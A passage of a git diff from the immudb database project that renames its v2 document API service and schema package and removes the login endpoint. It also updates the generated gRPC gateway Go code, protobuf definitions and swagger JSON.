runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -392,11 +358,11 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM return } - forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -407,7 +373,7 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -415,39 +381,16 @@ func RegisterImmuServiceV2HandlerServer(ctx context.Context, mux *runtime.ServeM return } - forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } -// RegisterImmuServiceV2HandlerFromEndpoint is same as RegisterImmuServiceV2Handler but +// RegisterDocumentServiceHandlerFromEndpoint is same as RegisterDocumentServiceHandler but // automatically dials to "endpoint" and closes the connection when "ctx" gets done. -func RegisterImmuServiceV2HandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { +func RegisterDocumentServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { conn, err := grpc.Dial(endpoint, opts...) if err != nil { return err @@ -467,23 +410,23 @@ func RegisterImmuServiceV2HandlerFromEndpoint(ctx context.Context, mux *runtime. }() }() - return RegisterImmuServiceV2Handler(ctx, mux, conn) + return RegisterDocumentServiceHandler(ctx, mux, conn) } -// RegisterImmuServiceV2Handler registers the http handlers for service ImmuServiceV2 to "mux". +// RegisterDocumentServiceHandler registers the http handlers for service DocumentService to "mux". // The handlers forward requests to the grpc endpoint over "conn". -func RegisterImmuServiceV2Handler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { - return RegisterImmuServiceV2HandlerClient(ctx, mux, NewImmuServiceV2Client(conn)) +func RegisterDocumentServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterDocumentServiceHandlerClient(ctx, mux, NewDocumentServiceClient(conn)) } -// RegisterImmuServiceV2HandlerClient registers the http handlers for service ImmuServiceV2 -// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceV2Client". -// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceV2Client" +// RegisterDocumentServiceHandlerClient registers the http handlers for service DocumentService +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "DocumentServiceClient". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "DocumentServiceClient" // doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in -// "ImmuServiceV2Client" to call the correct interceptors. -func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceV2Client) error { +// "DocumentServiceClient" to call the correct interceptors. +func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client DocumentServiceClient) error { - mux.Handle("POST", pattern_ImmuServiceV2_LoginV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -492,18 +435,18 @@ func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuServiceV2_LoginV2_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuServiceV2_LoginV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_ImmuServiceV2_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -512,18 +455,18 @@ func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuServiceV2_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuServiceV2_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuServiceV2_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -532,18 +475,18 @@ func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuServiceV2_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuServiceV2_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_ImmuServiceV2_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -552,18 +495,18 @@ func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuServiceV2_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuServiceV2_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("GET", pattern_ImmuServiceV2_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -572,18 +515,18 @@ func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -592,34 +535,14 @@ func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeM runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -627,33 +550,29 @@ func RegisterImmuServiceV2HandlerClient(ctx context.Context, mux *runtime.ServeM } var ( - pattern_ImmuServiceV2_LoginV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"system", "login"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuServiceV2_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuServiceV2_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuServiceV2_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuServiceV2_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "list"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuServiceV2_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "list"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_ImmuServiceV2_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( - forward_ImmuServiceV2_LoginV2_0 = runtime.ForwardResponseMessage - - forward_ImmuServiceV2_DocumentInsert_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentInsert_0 = runtime.ForwardResponseMessage - forward_ImmuServiceV2_DocumentSearch_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentSearch_0 = runtime.ForwardResponseMessage - forward_ImmuServiceV2_CollectionCreate_0 = runtime.ForwardResponseMessage + forward_DocumentService_CollectionCreate_0 = runtime.ForwardResponseMessage - forward_ImmuServiceV2_CollectionGet_0 = runtime.ForwardResponseMessage + forward_DocumentService_CollectionGet_0 = runtime.ForwardResponseMessage - forward_ImmuServiceV2_CollectionList_0 = runtime.ForwardResponseMessage + forward_DocumentService_CollectionList_0 = runtime.ForwardResponseMessage - forward_ImmuServiceV2_CollectionDelete_0 = runtime.ForwardResponseMessage + forward_DocumentService_CollectionDelete_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/schemav2/schemav2.proto b/pkg/api/documentsschema/documentsschema.proto similarity index 73% rename from pkg/api/schemav2/schemav2.proto rename to pkg/api/documentsschema/documentsschema.proto index 493b8da26b..1483d1c081 100644 --- a/pkg/api/schemav2/schemav2.proto +++ b/pkg/api/documentsschema/documentsschema.proto @@ -1,6 +1,6 @@ syntax = "proto3"; -package immudb.schemav2; +package immudb.documentsschema; import "google/api/annotations.proto"; import "google/protobuf/empty.proto"; @@ -8,12 +8,12 @@ import "google/protobuf/struct.proto"; import "schema.proto"; import "protoc-gen-swagger/options/annotations.proto"; -option go_package = "github.com/codenotary/immudb/pkg/api/schemav2"; +option go_package = "github.com/codenotary/immudb/pkg/api/documentsschema"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api/v2", info: { title: "immudb REST API v2"; - description: "" + description: "Objects storage API" }; security_definitions: { security: { @@ -38,6 +38,10 @@ message DocumentInsertRequest { repeated google.protobuf.Struct document = 2; } +message DocumentInsertResponse { + schema.VerifiableTx proof = 1; +} + enum QueryOperator { EQ = 0; @@ -48,6 +52,15 @@ enum QueryOperator { LIKE = 5; } +message IndexValue { + oneof kind { + google.protobuf.NullValue null_value = 1; + double number_value = 2; + string string_value = 3; + bool bool_value = 4; + } +} + message DocumentQuery { string field = 1; QueryOperator operator = 2; @@ -69,19 +82,11 @@ message DocumentSearchResponse { uint32 entriesLeft = 4; } -message LoginRequest { - string username = 1; - string password = 2; - string database = 3; +message IndexOption { + IndexType type = 1; } -message LoginResponseV2 { - string token = 1; - int32 expirationTimestamp = 2; - -} - -enum PossibleIndexType { +enum IndexType { DOUBLE = 0; INTEGER = 1; STRING = 2; @@ -89,14 +94,22 @@ enum PossibleIndexType { message CollectionCreateRequest { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionCreateResponse { + CollectionInformation collection = 1; } message CollectionInformation { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionGetResponse { + CollectionInformation collection = 1; } message CollectionGetRequest { @@ -114,23 +127,17 @@ message CollectionDeleteRequest { string name = 1; } +message CollectionDeleteResponse { + google.protobuf.Empty response = 1; +} + message Proof { string name = 1; } -service ImmuServiceV2 { - rpc LoginV2(LoginRequest) returns (LoginResponseV2) { - option (google.api.http) = { - post: "/system/login" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "authorization"; - }; - } - - rpc DocumentInsert(DocumentInsertRequest) returns (schema.VerifiableTx) { +service DocumentService { + rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { option (google.api.http) = { put: "/documents/insert" body: "*" @@ -150,7 +157,7 @@ service ImmuServiceV2 { }; } - rpc CollectionCreate(CollectionCreateRequest) returns (CollectionInformation) { + rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { option (google.api.http) = { put: "/collections/create" body: "*" @@ -160,7 +167,7 @@ service ImmuServiceV2 { }; } - rpc CollectionGet(CollectionGetRequest) returns (CollectionInformation) { + rpc CollectionGet(CollectionGetRequest) returns (CollectionGetResponse) { option (google.api.http) = { get: "/collections/get" }; @@ -179,7 +186,7 @@ service ImmuServiceV2 { tags: "collections"; }; } - rpc CollectionDelete(CollectionDeleteRequest) returns (google.protobuf.Empty) { + rpc CollectionDelete(CollectionDeleteRequest) returns (CollectionDeleteResponse) { option (google.api.http) = { delete: "/collections/delete" }; diff --git a/pkg/api/schemav2/schemav2.swagger.json b/pkg/api/documentsschema/documentsschema.swagger.json similarity index 88% rename from pkg/api/schemav2/schemav2.swagger.json rename to pkg/api/documentsschema/documentsschema.swagger.json index 0aea3d4eaa..05e65edfe3 100644 --- a/pkg/api/schemav2/schemav2.swagger.json +++ b/pkg/api/documentsschema/documentsschema.swagger.json @@ -2,6 +2,7 @@ "swagger": "2.0", "info": { "title": "immudb REST API v2", + "description": "Objects storage API", "version": "version not set" }, "basePath": "/api/v2", @@ -14,12 +15,12 @@ "paths": { "/collections/create": { "put": { - "operationId": "ImmuServiceV2_CollectionCreate", + "operationId": "DocumentService_CollectionCreate", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/schemav2CollectionInformation" + "$ref": "#/definitions/documentsschemaCollectionCreateResponse" } }, "default": { @@ -35,7 +36,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/schemav2CollectionCreateRequest" + "$ref": "#/definitions/documentsschemaCollectionCreateRequest" } } ], @@ -46,12 +47,12 @@ }, "/collections/delete": { "delete": { - "operationId": "ImmuServiceV2_CollectionDelete", + "operationId": "DocumentService_CollectionDelete", "responses": { "200": { "description": "A successful response.", "schema": { - "properties": {} + "$ref": "#/definitions/documentsschemaCollectionDeleteResponse" } }, "default": { @@ -76,12 +77,12 @@ }, "/collections/get": { "get": { - "operationId": "ImmuServiceV2_CollectionGet", + "operationId": "DocumentService_CollectionGet", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/schemav2CollectionInformation" + "$ref": "#/definitions/documentsschemaCollectionGetResponse" } }, "default": { @@ -106,12 +107,12 @@ }, "/collections/list": { "post": { - "operationId": "ImmuServiceV2_CollectionList", + "operationId": "DocumentService_CollectionList", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/schemav2CollectionListResponse" + "$ref": "#/definitions/documentsschemaCollectionListResponse" } }, "default": { @@ -127,7 +128,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/schemav2CollectionListRequest" + "$ref": "#/definitions/documentsschemaCollectionListRequest" } } ], @@ -138,12 +139,12 @@ }, "/documents/insert": { "put": { - "operationId": "ImmuServiceV2_DocumentInsert", + "operationId": "DocumentService_DocumentInsert", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/schemaVerifiableTx" + "$ref": "#/definitions/documentsschemaDocumentInsertResponse" } }, "default": { @@ -159,7 +160,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/schemav2DocumentInsertRequest" + "$ref": "#/definitions/documentsschemaDocumentInsertRequest" } } ], @@ -170,12 +171,12 @@ }, "/documents/search": { "post": { - "operationId": "ImmuServiceV2_DocumentSearch", + "operationId": "DocumentService_DocumentSearch", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/schemav2DocumentSearchResponse" + "$ref": "#/definitions/documentsschemaDocumentSearchResponse" } }, "default": { @@ -191,7 +192,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/schemav2DocumentSearchRequest" + "$ref": "#/definitions/documentsschemaDocumentSearchRequest" } } ], @@ -199,55 +200,197 @@ "documents" ] } + } + }, + "definitions": { + "documentsschemaCollectionCreateRequest": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/documentsschemaIndexOption" + } + }, + "indexKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/documentsschemaIndexOption" + } + } + } }, - "/system/login": { - "post": { - "operationId": "ImmuServiceV2_LoginV2", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemav2LoginResponseV2" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } + "documentsschemaCollectionCreateResponse": { + "type": "object", + "properties": { + "collection": { + "$ref": "#/definitions/documentsschemaCollectionInformation" + } + } + }, + "documentsschemaCollectionDeleteResponse": { + "type": "object", + "properties": { + "response": { + "properties": {} + } + } + }, + "documentsschemaCollectionGetResponse": { + "type": "object", + "properties": { + "collection": { + "$ref": "#/definitions/documentsschemaCollectionInformation" + } + } + }, + "documentsschemaCollectionInformation": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/documentsschemaIndexOption" } }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/immudbschemav2LoginRequest" - } + "indexKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/documentsschemaIndexOption" } - ], - "tags": [ - "authorization" - ] + } } - } - }, - "definitions": { - "immudbschemav2LoginRequest": { + }, + "documentsschemaCollectionListRequest": { + "type": "object" + }, + "documentsschemaCollectionListResponse": { + "type": "object", + "properties": { + "collections": { + "type": "array", + "items": { + "$ref": "#/definitions/documentsschemaCollectionInformation" + } + } + } + }, + "documentsschemaDocumentInsertRequest": { "type": "object", "properties": { - "username": { + "collection": { "type": "string" }, - "password": { + "document": { + "type": "array", + "items": { + "type": "object" + } + } + } + }, + "documentsschemaDocumentInsertResponse": { + "type": "object", + "properties": { + "proof": { + "$ref": "#/definitions/schemaVerifiableTx" + } + } + }, + "documentsschemaDocumentQuery": { + "type": "object", + "properties": { + "field": { "type": "string" }, - "database": { + "operator": { + "$ref": "#/definitions/documentsschemaQueryOperator" + }, + "value": { + "type": "object" + } + } + }, + "documentsschemaDocumentSearchRequest": { + "type": "object", + "properties": { + "collection": { "type": "string" + }, + "query": { + "type": "array", + "items": { + "$ref": "#/definitions/documentsschemaDocumentQuery" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" } } }, + "documentsschemaDocumentSearchResponse": { + "type": "object", + "properties": { + "results": { + "type": "array", + "items": { + "type": "object" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" + }, + "entriesLeft": { + "type": "integer", + "format": "int64" + } + } + }, + "documentsschemaIndexOption": { + "type": "object", + "properties": { + "type": { + "$ref": "#/definitions/documentsschemaIndexType" + } + } + }, + "documentsschemaIndexType": { + "type": "string", + "enum": [ + "DOUBLE", + "INTEGER", + "STRING" + ], + "default": "DOUBLE" + }, + "documentsschemaQueryOperator": { + "type": "string", + "enum": [ + "EQ", + "GT", + "GTE", + "LT", + "LTE", + "LIKE" + ], + "default": "EQ" + }, "protobufAny": { "type": "object", "properties": { @@ -681,166 +824,6 @@ "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" } } - }, - "schemav2CollectionCreateRequest": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - }, - "indexKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - } - } - }, - "schemav2CollectionInformation": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - }, - "indexKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - } - } - }, - "schemav2CollectionListRequest": { - "type": "object" - }, - "schemav2CollectionListResponse": { - "type": "object", - "properties": { - "collections": { - "type": "array", - "items": { - "$ref": "#/definitions/schemav2CollectionInformation" - } - } - } - }, - "schemav2DocumentInsertRequest": { - "type": "object", - "properties": { - "collection": { - "type": "string" - }, - "document": { - "type": "array", - "items": { - "type": "object" - } - } - } - }, - "schemav2DocumentQuery": { - "type": "object", - "properties": { - "field": { - "type": "string" - }, - "operator": { - "$ref": "#/definitions/schemav2QueryOperator" - }, - "value": { - "type": "object" - } - } - }, - "schemav2DocumentSearchRequest": { - "type": "object", - "properties": { - "collection": { - "type": "string" - }, - "query": { - "type": "array", - "items": { - "$ref": "#/definitions/schemav2DocumentQuery" - } - }, - "page": { - "type": "integer", - "format": "int64" - }, - "perPage": { - "type": "integer", - "format": "int64" - } - } - }, - "schemav2DocumentSearchResponse": { - "type": "object", - "properties": { - "results": { - "type": "array", - "items": { - "type": "object" - } - }, - "page": { - "type": "integer", - "format": "int64" - }, - "perPage": { - "type": "integer", - "format": "int64" - }, - "entriesLeft": { - "type": "integer", - "format": "int64" - } - } - }, - "schemav2LoginResponseV2": { - "type": "object", - "properties": { - "token": { - "type": "string" - }, - "expirationTimestamp": { - "type": "integer", - "format": "int32" - } - } - }, - "schemav2PossibleIndexType": { - "type": "string", - "enum": [ - "DOUBLE", - "INTEGER", - "STRING" - ], - "default": "DOUBLE" - }, - "schemav2QueryOperator": { - "type": "string", - "enum": [ - "EQ", - "GT", - "GTE", - "LT", - "LTE", - "LIKE" - ], - "default": "EQ" } }, "securityDefinitions": { diff --git a/pkg/api/documentsschema/documentsschema_grpc.pb.go b/pkg/api/documentsschema/documentsschema_grpc.pb.go new file mode 100644 index 0000000000..262c251e03 --- /dev/null +++ b/pkg/api/documentsschema/documentsschema_grpc.pb.go @@ -0,0 +1,279 @@ +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. + +package documentsschema + +import ( + context "context" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.32.0 or later. +const _ = grpc.SupportPackageIsVersion7 + +// DocumentServiceClient is the client API for DocumentService service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type DocumentServiceClient interface { + DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) + DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) + CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) + 